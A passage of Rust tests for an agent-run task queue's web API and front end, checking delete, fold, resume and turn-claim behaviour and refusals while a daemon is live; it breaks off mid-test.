22871        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22872        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22873    }
22874
22875    #[test]
22876    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22877        use crate::queue::HoldSource;
22878        let mut task = Task::new(
22879            "Recovery".into(),
22880            "Inspect".into(),
22881            PathBuf::from("/repo"),
22882            Source::Human,
22883        );
22884        assert!(task_recovery(&task).is_none());
22885        task.hold_manual(Some("Operator paused".into()));
22886        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22887        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22888        let text = task_recovery(&task).unwrap();
22889        assert!(text.contains("restores held"));
22890        assert!(text.contains("clears its dependency references"));
22891        task.hold_source = Some(HoldSource::Machine);
22892        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22893        task.mark_disk_capacity();
22894        let view = TaskView::with_inventory(
22895            task.clone(),
22896            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22897        );
22898        let json = serde_json::to_value(view).unwrap();
22899        assert_eq!(json["block_reason"], "Decision needed");
22900        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22901        let recovery = json["recovery"].as_str().unwrap();
22902        assert!(recovery.contains("not current capacity"));
22903        assert!(recovery.contains("triage rechecks"));
22904        assert_eq!(json["blockers"][0]["state"], "missing");
22905        task.blocked_from = Some(TaskStatus::Queued);
22906        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22907        task.blocked_from = None;
22908        assert!(task_recovery(&task).unwrap().contains("restores held"));
22909    }
22910
22911    #[tokio::test]
22912    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22913        let fx = Fixture::start().await;
22914        let q = fx.queue();
22915        let mk = |title: &str| {
22916            Task::new(
22917                title.to_owned(),
22918                "Instruction".to_owned(),
22919                PathBuf::from("/repo"),
22920                Source::Human,
22921            )
22922        };
22923        let mut root = mk("root");
22924        root.hold_manual(Some("waiting".to_owned()));
22925        q.put(&mut root).unwrap();
22926        let mut mid = mk("mid");
22927        mid.block(vec![root.id.clone()], None);
22928        q.put(&mut mid).unwrap();
22929        let mut leaf = mk("leaf");
22930        leaf.block(vec![mid.id.clone()], None);
22931        q.put(&mut leaf).unwrap();
22932
22933        let list = fx.get("/api/queue").await.json();
22934        let find = |id: &str| {
22935            list.as_array()
22936                .unwrap()
22937                .iter()
22938                .find(|v| v["id"] == id)
22939                .unwrap()
22940                .clone()
22941        };
22942        let leaf_view = find(&leaf.id);
22943        assert_eq!(
22944            leaf_view["waits_on"],
22945            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22946        );
22947        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22948        assert_eq!(
22949            find(&mid.id)["waits_on"],
22950            serde_json::json!([format!("{} (held)", root.short())])
22951        );
22952        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22953    }
22954
22955    #[tokio::test]
22956    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22957        let fx = Fixture::start().await;
22958        let q = fx.queue();
22959
22960        // 1. A queued task with runs attached can be deleted.
22961        let mut t1 = Task::new(
22962            "Task 1".to_owned(),
22963            "Instruction 1".to_owned(),
22964            PathBuf::from("/repo"),
22965            Source::Human,
22966        );
22967        let run_id = "20260901-000000-r111";
22968        t1.runs.push(run_id.to_owned());
22969        write_run(&fx.runs(), run_id, RunStatus::Merged);
22970        q.put(&mut t1).expect("put t1");
22971
22972        // Delete by short id
22973        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22974        assert_eq!(res.status, 204);
22975        assert!(res.body.is_empty(), "204 No Content has no body");
22976        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22977        assert!(
22978            fx.runs().join(run_id).exists(),
22979            "run directory must not be deleted when its task is deleted"
22980        );
22981
22982        // 2. A task a live daemon is running is refused with 409.
22983        let mut t2 = Task::new(
22984            "Task 2".to_owned(),
22985            "Instruction 2".to_owned(),
22986            PathBuf::from("/repo"),
22987            Source::Human,
22988        );
22989        t2.status = TaskStatus::Running;
22990        q.put(&mut t2).expect("put t2");
22991        let mut beat = crate::daemon::Status::new();
22992        beat.current = vec![crate::daemon::Current {
22993            worker: None,
22994            task: t2.id.clone(),
22995            run: "20260901-000000-r222".to_owned(),
22996        }];
22997        beat.updated_at = jiff::Timestamp::now();
22998        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22999            .expect("publish a heartbeat");
23000        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23001        assert_eq!(res.status, 409);
23002        assert!(
23003            res.json()["error"]
23004                .as_str()
23005                .unwrap()
23006                .contains("live daemon")
23007        );
23008        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23009
23010        // 3. The same `running` status and an orphaned lock, with no daemon
23011        // behind either, is a leftover and deletable. Before this the phone
23012        // refused it for good: the status never changes on its own and
23013        // nothing drops a lock whose process is gone.
23014        // The daemon is killed: the file stays, the heartbeat stops.
23015        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23016        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23017            .expect("leave a stale heartbeat");
23018        let mut t3 = Task::new(
23019            "Task 3".to_owned(),
23020            "Instruction 3".to_owned(),
23021            PathBuf::from("/repo"),
23022            Source::Human,
23023        );
23024        t3.status = TaskStatus::Running;
23025        q.put(&mut t3).expect("put t3");
23026        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23027        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23028        assert_eq!(res.status, 204);
23029        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23030        assert!(
23031            q.claim(&t3.id).is_ok(),
23032            "the stale lock went with it, so the id is claimable again"
23033        );
23034
23035        // 4. Missing id returns 404
23036        let res = fx.delete("/api/queue/nonexistent").await;
23037        assert_eq!(res.status, 404);
23038    }
23039
23040    #[tokio::test]
23041    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23042        let fx = Fixture::start().await;
23043        let runs = fx.runs();
23044
23045        // 1. Finished and folded run can be deleted along with artifacts
23046        let run_id = "20260901-000000-fold";
23047        let mut state = RunState::new(
23048            PathBuf::from("/repo"),
23049            "main".to_owned(),
23050            "abc".to_owned(),
23051            "instruction".to_owned(),
23052            Config::default(),
23053        );
23054        state.id = run_id.to_owned();
23055        state.status = RunStatus::Merged;
23056        state.candidates.push(crate::run::Candidate {
23057            index: 0,
23058            label: 'A',
23059            agent: "a".to_owned(),
23060            branch: "b".to_owned(),
23061            worktree: PathBuf::from("/w"),
23062            summary: String::new(),
23063            stat: String::new(),
23064            files: 1,
23065            commits: 1,
23066            empty: false,
23067            failed: None,
23068            verified_noop: None,
23069            duration_ms: 0,
23070            folded: true,
23071        });
23072        let dir = runs.join(run_id);
23073        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23074        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23075            .expect("write artifact");
23076        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23077            .expect("write run.json");
23078
23079        // Delete by short id
23080        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23081        assert_eq!(res.status, 204);
23082        assert!(res.body.is_empty(), "204 has no body");
23083        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23084
23085        // 2. A run a live daemon is working on is refused with 409. The
23086        // heartbeat is what makes it refusable: an unfinished run with no
23087        // daemon behind it is a leftover from a killed process, and case 1
23088        // above would otherwise be impossible to tell apart from this one.
23089        let run_running = "20260901-000000-rung";
23090        write_run(&runs, run_running, RunStatus::Prep);
23091        let mut beat = crate::daemon::Status::new();
23092        beat.current = vec![crate::daemon::Current {
23093            worker: None,
23094            task: "20260901-000000-task".to_owned(),
23095            run: run_running.to_owned(),
23096        }];
23097        beat.updated_at = jiff::Timestamp::now();
23098        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23099            .expect("publish a heartbeat");
23100        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23101        assert_eq!(res.status, 409);
23102        assert!(
23103            res.json()["error"]
23104                .as_str()
23105                .unwrap()
23106                .contains("live daemon"),
23107            "the refusal must say who is holding it"
23108        );
23109        assert!(
23110            runs.join(run_running).exists(),
23111            "a run in flight keeps its directory"
23112        );
23113
23114        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23115        let run_unfolded = "20260901-000000-unfd";
23116        let mut state2 = RunState::new(
23117            PathBuf::from("/repo"),
23118            "main".to_owned(),
23119            "abc".to_owned(),
23120            "instruction".to_owned(),
23121            Config::default(),
23122        );
23123        state2.id = run_unfolded.to_owned();
23124        state2.status = RunStatus::Ready;
23125        state2.candidates.push(crate::run::Candidate {
23126            index: 0,
23127            label: 'A',
23128            agent: "a".to_owned(),
23129            branch: "b".to_owned(),
23130            worktree: PathBuf::from("/w"),
23131            summary: String::new(),
23132            stat: String::new(),
23133            files: 1,
23134            commits: 1,
23135            empty: false,
23136            failed: None,
23137            verified_noop: None,
23138            duration_ms: 0,
23139            folded: false,
23140        });
23141        let dir2 = runs.join(run_unfolded);
23142        std::fs::create_dir_all(&dir2).expect("create dir2");
23143        std::fs::write(
23144            dir2.join("run.json"),
23145            serde_json::to_string(&state2).unwrap(),
23146        )
23147        .expect("write run.json");
23148
23149        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23150        assert_eq!(res.status, 409);
23151        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23152        assert!(dir2.exists(), "unfolded run directory is kept");
23153
23154        // 4. Missing id returns 404
23155        let res = fx.delete("/api/runs/nonexistent").await;
23156        assert_eq!(res.status, 404);
23157    }
23158
23159    /// The queue tiles on the Stats tab must render even on a home with no
23160    /// runs at all: queue state is not derived from run history, so hiding
23161    /// the whole dashboard body behind "no runs yet" would drop the one
23162    /// thing this tab promises unconditionally (queued/running/held/done).
23163    /// A DOM-level test would need a browser this suite does not have, so
23164    /// this pins the same invariant textually: `renderStatsQueue` is called
23165    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23166    /// block that gates the run-derived panels.
23167    #[test]
23168    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23169        let start = APP_JS
23170            .find("function renderStats() {")
23171            .expect("renderStats");
23172        let end = start
23173            + APP_JS[start..]
23174                .find("function statsTile(")
23175                .expect("the next top-level function");
23176        let body = &APP_JS[start..end];
23177
23178        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23179        let gate_end = gate_start
23180            + body[gate_start..]
23181                .find("}\n  renderStatsQueue")
23182                .expect("the gate's own closing brace, right before the unconditional call");
23183        let gated = &body[gate_start..gate_end];
23184
23185        assert_eq!(
23186            body.matches("renderStatsQueue(").count(),
23187            1,
23188            "renderStats must call renderStatsQueue exactly once: {body}"
23189        );
23190        assert!(
23191            !gated.contains("renderStatsQueue"),
23192            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23193             run-derived panels on an empty run history - the queue panel has to render \
23194             regardless: {gated}"
23195        );
23196    }
23197
23198    #[test]
23199    fn web_ui_delete_contract_in_front_end() {
23200        // 1. API block has both delete endpoints
23201        assert!(APP_JS.contains("deleteRun:"));
23202        assert!(APP_JS.contains("deleteTask:"));
23203
23204        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23205        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23206            ..APP_JS.find("function renderRuns").unwrap()];
23207        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23208
23209        // 3. Run detail has delete entry and reasons
23210        assert!(APP_JS.contains("renderRunDelete"));
23211        assert!(APP_JS.contains("runDeleteReason"));
23212        assert!(APP_JS.contains("magi fold"));
23213        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23214
23215        // 4. Two-step delete arming and focus on Cancel
23216        assert!(APP_JS.contains("cancel.focus"));
23217        assert!(APP_JS.contains("armedRunDelete"));
23218        assert!(APP_JS.contains("renderTaskDeleteBox"));
23219        assert!(APP_JS.contains("armed${cap(key)}"));
23220
23221        // 5. Running task has disabled delete
23222        assert!(APP_JS.contains("disabled: status === \"running\""));
23223    }
23224
23225    /// Every element a run card's updater reaches for must be in the `refs`
23226    /// the builder handed it.
23227    ///
23228    /// `createRunCard` builds its elements, appends them to the card, and then
23229    /// lists them again in `row.refs`. That second list is the one the updater
23230    /// uses, and nothing connects the two - an element can be built, appended
23231    /// and rendered, and still be missing from `refs`. `superseded` was, for
23232    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23233    /// exception took `syncList` with it, and the deck showed
23234    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
23235    /// line is computed before the cards, which is why the failure looked like
23236    /// a server that had lost its runs rather than a front end that had
23237    /// stopped rendering them.
23238    ///
23239    /// A `cargo test` cannot execute the front end, so this reads the two
23240    /// halves out of the source and compares them as sets. It is not a check
23241    /// on the wording of either list: adding an element, renaming one, or
23242    /// reordering them all keeps this passing, and only using one the builder
23243    /// never published fails it.
23244    #[test]
23245    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23246        let build = APP_JS
23247            .find("function createRunCard")
23248            .expect("createRunCard exists");
23249        let update = APP_JS
23250            .find("function updateRunCard")
23251            .expect("updateRunCard exists");
23252        let end = APP_JS
23253            .find("function renderRuns")
23254            .expect("renderRuns exists");
23255
23256        // The builder's published set: the object literal assigned to `refs`.
23257        let builder = &APP_JS[build..update];
23258        let open = builder.find("refs = {").expect("createRunCard sets refs");
23259        let literal = &builder[open + "refs = {".len()..];
23260        let close = literal.find('}').expect("the refs literal is closed");
23261        let published: HashSet<&str> = literal[..close]
23262            .split(',')
23263            // `name` and `name: value` both bind `name`.
23264            .filter_map(|entry| entry.split(':').next())
23265            .map(str::trim)
23266            .filter(|name| !name.is_empty())
23267            .collect();
23268        assert!(
23269            published.len() > 5,
23270            "the refs literal did not parse into names: {published:?}"
23271        );
23272
23273        // What the updaters reach for: every `r.<name>`, where `r` is the
23274        // `const r = row.refs` alias both functions open with.
23275        let mut used: Vec<&str> = Vec::new();
23276        let updaters = &APP_JS[update..end];
23277        for (at, _) in updaters.match_indices("r.") {
23278            // `r` must be the whole identifier, not the tail of another one
23279            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23280            let before = updaters[..at].chars().next_back();
23281            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23282                continue;
23283            }
23284            let rest = &updaters[at + 2..];
23285            let len = rest
23286                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23287                .unwrap_or(rest.len());
23288            if len > 0 {
23289                used.push(&rest[..len]);
23290            }
23291        }
23292        assert!(
23293            used.len() > 5,
23294            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23295        );
23296
23297        let missing: Vec<&str> = used
23298            .iter()
23299            .copied()
23300            .filter(|name| !published.contains(name))
23301            .collect();
23302        assert!(
23303            missing.is_empty(),
23304            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23305             never put in `refs` - every card will throw and the list will \
23306             render empty under a count line that says otherwise. Published: \
23307             {published:?}"
23308        );
23309    }
23310
23311    #[tokio::test]
23312    async fn folding_from_the_phone_reports_what_it_removed() {
23313        let fx = Fixture::start().await;
23314        let runs = fx.runs();
23315
23316        // A run with no candidates has nothing to fold, which is a 200 with an
23317        // honest count rather than an error: the operator asked for the trees
23318        // to be gone and they are.
23319        let id = "20260901-000000-fold";
23320        write_run(&runs, id, RunStatus::Stalled);
23321        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23322        assert_eq!(res.status, 200);
23323        assert_eq!(res.json()["removed_count"], 0);
23324        assert_eq!(res.json()["run"], id);
23325        assert!(
23326            runs.join(id).exists(),
23327            "a fold keeps the run's record; only the worktrees go"
23328        );
23329    }
23330
23331    #[tokio::test]
23332    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23333        let fx = Fixture::start().await;
23334        let runs = fx.runs();
23335        let wt = fx.home.path().join("wt").join("magi").join("dead");
23336        let id = "20260901-000000-dead";
23337        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23338        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23339        std::fs::create_dir_all(&wt).expect("worktree dir");
23340
23341        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23342        assert_eq!(res.status, 200, "{}", res.body);
23343        assert!(
23344            res.json()["removed_count"].as_u64().unwrap() > 0,
23345            "the worktree this build could not read a state for still went"
23346        );
23347        assert!(
23348            !runs.join(id).exists(),
23349            "an unreadable run has no candidate list to fold selectively, so \
23350             the whole record goes - same as `magi fold` on the CLI"
23351        );
23352    }
23353
23354    #[tokio::test]
23355    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23356        let fx = Fixture::start().await;
23357        let runs = fx.runs();
23358        let wt = fx.home.path().join("wt").join("magi").join("gone");
23359        let id = "20260901-000000-gone";
23360        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23361        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23362        std::fs::create_dir_all(&wt).expect("worktree dir");
23363
23364        let res = fx.delete(&format!("/api/runs/{id}")).await;
23365        assert_eq!(res.status, 204, "{}", res.body);
23366        assert!(!runs.join(id).exists(), "the broken record is gone");
23367        assert!(!wt.exists(), "its worktree is gone too");
23368    }
23369
23370    #[tokio::test]
23371    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23372        let fx = Fixture::start().await;
23373        let runs = fx.runs();
23374        let id = "20260901-000000-live";
23375        write_run(&runs, id, RunStatus::Implementing);
23376
23377        let mut beat = crate::daemon::Status::new();
23378        beat.current = vec![crate::daemon::Current {
23379            worker: None,
23380            task: "20260901-000000-task".to_owned(),
23381            run: id.to_owned(),
23382        }];
23383        beat.updated_at = jiff::Timestamp::now();
23384        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23385            .expect("publish a heartbeat");
23386
23387        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23388        assert_eq!(res.status, 409);
23389        assert!(
23390            res.json()["error"]
23391                .as_str()
23392                .unwrap()
23393                .contains("live daemon"),
23394            "folding under a running agent would pull its worktree away"
23395        );
23396    }
23397
23398    #[tokio::test]
23399    async fn fold_merged_requires_a_pr_url() {
23400        let fx = Fixture::start().await;
23401        let runs = fx.runs();
23402        let id = "20260901-000000-nourl";
23403        write_run(&runs, id, RunStatus::Blocked);
23404
23405        let res = fx
23406            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23407            .await;
23408        assert_eq!(res.status, 400, "{}", res.body);
23409
23410        let blank = fx
23411            .post(
23412                &format!("/api/runs/{id}/fold-merged"),
23413                Some(r#"{"pr_url":"   "}"#),
23414            )
23415            .await;
23416        assert_eq!(blank.status, 400, "{}", blank.body);
23417    }
23418
23419    #[tokio::test]
23420    async fn fold_merged_is_404_for_an_unknown_run() {
23421        let fx = Fixture::start().await;
23422        let res = fx
23423            .post(
23424                "/api/runs/nosuchrun/fold-merged",
23425                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23426            )
23427            .await;
23428        assert_eq!(res.status, 404, "{}", res.body);
23429    }
23430
23431    #[tokio::test]
23432    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23433        let fx = Fixture::start().await;
23434        let runs = fx.runs();
23435        let id = "20260901-000000-livemerge";
23436        write_run(&runs, id, RunStatus::Blocked);
23437
23438        let mut beat = crate::daemon::Status::new();
23439        beat.current = vec![crate::daemon::Current {
23440            worker: None,
23441            task: "20260901-000000-task".to_owned(),
23442            run: id.to_owned(),
23443        }];
23444        beat.updated_at = jiff::Timestamp::now();
23445        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23446            .expect("publish a heartbeat");
23447
23448        let res = fx
23449            .post(
23450                &format!("/api/runs/{id}/fold-merged"),
23451                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23452            )
23453            .await;
23454        assert_eq!(res.status, 409, "{}", res.body);
23455        assert!(
23456            res.json()["error"]
23457                .as_str()
23458                .unwrap()
23459                .contains("live daemon"),
23460            "correcting a run's merge underneath a running agent would race \
23461             whatever it is doing to the same `status`/`merge` fields"
23462        );
23463    }
23464
23465    /// A pull request `gh` cannot even ask about (no such remote, no such
23466    /// repository) must never be recorded as a merge on a guess - the same
23467    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23468    /// command line, reached here through the phone route instead.
23469    #[tokio::test]
23470    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23471        let fx = Fixture::start().await;
23472        let runs = fx.runs();
23473        let id = "20260901-000000-unconfirmed";
23474        write_run(&runs, id, RunStatus::Blocked);
23475
23476        let res = fx
23477            .post(
23478                &format!("/api/runs/{id}/fold-merged"),
23479                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23480            )
23481            .await;
23482        assert_eq!(res.status, 400, "{}", res.body);
23483        assert_eq!(
23484            read_run(&runs, id).unwrap().status,
23485            RunStatus::Blocked,
23486            "a pull request that could not be confirmed merged must leave \
23487             the run exactly where it was"
23488        );
23489    }
23490
23491    #[tokio::test]
23492    async fn terminal_runs_cannot_be_resumed() {
23493        let fx = Fixture::start().await;
23494        let runs = fx.runs();
23495
23496        for (status, word) in [
23497            (RunStatus::Merged, "merged"),
23498            (RunStatus::Ready, "ready"),
23499            (RunStatus::Failed, "failed"),
23500        ] {
23501            let id = format!("20260901-000000-{}", &word[..4]);
23502            write_run(&runs, &id, status);
23503            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23504            assert_eq!(res.status, 409, "{word} must not be resumable");
23505        }
23506    }
23507
23508    #[tokio::test]
23509    async fn resume_is_refused_while_the_loop_is_running() {
23510        let fx = Fixture::start().await;
23511        let runs = fx.runs();
23512        let stalled = "20260901-000000-stal";
23513        write_run(&runs, stalled, RunStatus::Stalled);
23514
23515        // The loop is busy with a *different* run, and that is still a
23516        // refusal: a manual resume must never race whatever the loop itself
23517        // is already driving, whether that is one run or several.
23518        let mut beat = crate::daemon::Status::new();
23519        beat.current = vec![crate::daemon::Current {
23520            worker: None,
23521            task: "20260901-000000-task".to_owned(),
23522            run: "20260901-000000-othr".to_owned(),
23523        }];
23524        beat.updated_at = jiff::Timestamp::now();
23525        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23526            .expect("publish a heartbeat");
23527
23528        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23529        assert_eq!(res.status, 409);
23530        let err = res.json()["error"].as_str().unwrap().to_owned();
23531        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23532        assert!(err.contains("stop it first"), "{err}");
23533    }
23534
23535    #[test]
23536    fn a_run_cannot_be_resumed_twice_at_once() {
23537        let home = TempDir::new().expect("temp home");
23538        let ui = Ui::new(
23539            Queue::at(home.path().join("queue")),
23540            Questions::at(home.path().join("questions")),
23541            Talks::at(home.path().join("talks")),
23542            home.path().join("runs"),
23543            home.path().to_path_buf(),
23544            PathBuf::from("/repo"),
23545        )
23546        .with_worktrees_root(home.path().join("wt"));
23547        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23548        let again = ui.begin_resume("20260901-000000-once");
23549        assert!(again.is_err(), "a second tap must not start a second graph");
23550        drop(first);
23551        assert!(
23552            ui.begin_resume("20260901-000000-once").is_ok(),
23553            "and the claim is released when the attempt ends"
23554        );
23555    }
23556
23557    #[test]
23558    fn talk_thinking_tracks_only_its_held_turn_claim() {
23559        let home = TempDir::new().expect("temp home");
23560        let ui = Ui::new(
23561            Queue::at(home.path().join("queue")),
23562            Questions::at(home.path().join("questions")),
23563            Talks::at(home.path().join("talks")),
23564            home.path().join("runs"),
23565            home.path().to_path_buf(),
23566            PathBuf::from("/repo"),
23567        )
23568        .with_worktrees_root(home.path().join("wt"));
23569        let id = "20260901-000000-once";
23570
23571        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23572        let turn = ui.begin_talk_turn(id).expect("claim turn");
23573        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23574        assert!(
23575            !ui.is_thinking("20260901-000000-other"),
23576            "one talk's turn does not make another talk busy"
23577        );
23578        drop(turn);
23579        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23580    }
23581
23582    #[test]
23583    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23584        let home = TempDir::new().expect("temp home");
23585        let talks = Talks::at(home.path().join("talks"));
23586        let ui = Ui::new(
23587            Queue::at(home.path().join("queue")),
23588            Questions::at(home.path().join("questions")),
23589            talks.clone(),
23590            home.path().join("runs"),
23591            home.path().to_path_buf(),
23592            PathBuf::from("/repo"),
23593        )
23594        .with_worktrees_root(home.path().join("wt"));
23595        let id = "20260901-000000-cross";
23596
23597        let other = Talks::at(home.path().join("talks"))
23598            .claim_turn(id)
23599            .expect("claim")
23600            .expect("the other process wins");
23601        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23602        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23603        assert!(
23604            matches!(
23605                ui.begin_talk_turn_unless_pending(id).expect("start"),
23606                TalkTurnStart::Foreign
23607            ),
23608            "a foreign holder is refused, not queued behind"
23609        );
23610        assert!(
23611            !ui.talk_turns.lock().unwrap().live.contains(id),
23612            "a refused claim leaves no in-process entry behind"
23613        );
23614        drop(other);
23615        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23616        assert!(talks.turn_held(id), "the web turn holds the lease");
23617        drop(turn);
23618        assert!(
23619            !talks.turn_held(id),
23620            "dropping the guard releases the lease"
23621        );
23622    }
23623
23624    fn consult_question(ui: &Ui) -> Question {
23625        let mut q = Question::new(
23626            "20260901-000000-consult".to_owned(),
23627            "implement".to_owned(),
23628            "impl-A".to_owned(),
23629            "Which backend?".to_owned(),
23630            String::new(),
23631            vec!["SQLite".to_owned(), "Redis".to_owned()],
23632        );
23633        ui.questions.put(&mut q).expect("question");
23634        q
23635    }
23636
23637    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23638        (
23639            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23640            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23641        )
23642    }
23643
23644    #[tokio::test]
23645    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23646        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23647        let q = consult_question(&ui);
23648        let talk = ui.talks.get(&id).expect("talk");
23649        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23650        let before = consult_snapshot(&ui, &q, &id);
23651        let cli_talks = Talks::at(ui.home.join("talks"));
23652        assert_eq!(
23653            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23654                .await
23655                .expect("CLI starter"),
23656            crate::consult::Started::Busy
23657        );
23658        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23659        assert!(ui.is_thinking(&id));
23660        drop(guard);
23661        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23662    }
23663
23664    #[tokio::test]
23665    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23666        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23667        let q = consult_question(&ui);
23668        let talk = ui.talks.get(&id).expect("talk");
23669        let started = tmp.path().join("started");
23670        let release = tmp.path().join("release");
23671        let script = tmp.path().join("consult-agent.sh");
23672        std::fs::write(
23673            &script,
23674            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23675        )
23676        .expect("script");
23677        let mut cfg = stub_config();
23678        cfg.agents[0].id = "mock".to_owned();
23679        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23680        cfg.agents[0].env = std::collections::BTreeMap::from([
23681            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23682            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23683        ]);
23684        let questions = ui.questions.clone();
23685        let cli_talks = Talks::at(ui.home.join("talks"));
23686        let cli_q = q.clone();
23687        let turn = tokio::spawn(async move {
23688            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23689        });
23690        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23691            while !started.exists() {
23692                tokio::time::sleep(Duration::from_millis(10)).await;
23693            }
23694        })
23695        .await;
23696        // Always release and join the agent, even if readiness or the web
23697        // request fails, so a failed assertion cannot leave a turn behind.
23698        let refusal = if ready.is_ok() {
23699            let before = consult_snapshot(&ui, &q, &id);
23700            let result = talk_say(
23701                State(Arc::clone(&ui)),
23702                Path(id.clone()),
23703                Ok(Json(NewTalkTurn {
23704                    reply_to: None,
23705                    text: "another message".to_owned(),
23706                    attachments: Vec::new(),
23707                })),
23708            )
23709            .await;
23710            Some((result, before, consult_snapshot(&ui, &q, &id)))
23711        } else {
23712            None
23713        };
23714        std::fs::write(&release, "").expect("release agent");
23715        let done = turn.await.expect("join CLI turn");
23716        ready.expect("agent started before deadline");
23717        let (result, before, after) = refusal.expect("web request");
23718        let error = result.expect_err("web must refuse the CLI's turn");
23719        assert_eq!(error.status, StatusCode::CONFLICT);
23720        assert!(error.message.contains("a turn is already running"));
23721        assert_eq!(
23722            after, before,
23723            "refusal preserves question, draft and history"
23724        );
23725        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23726        let guard = ui
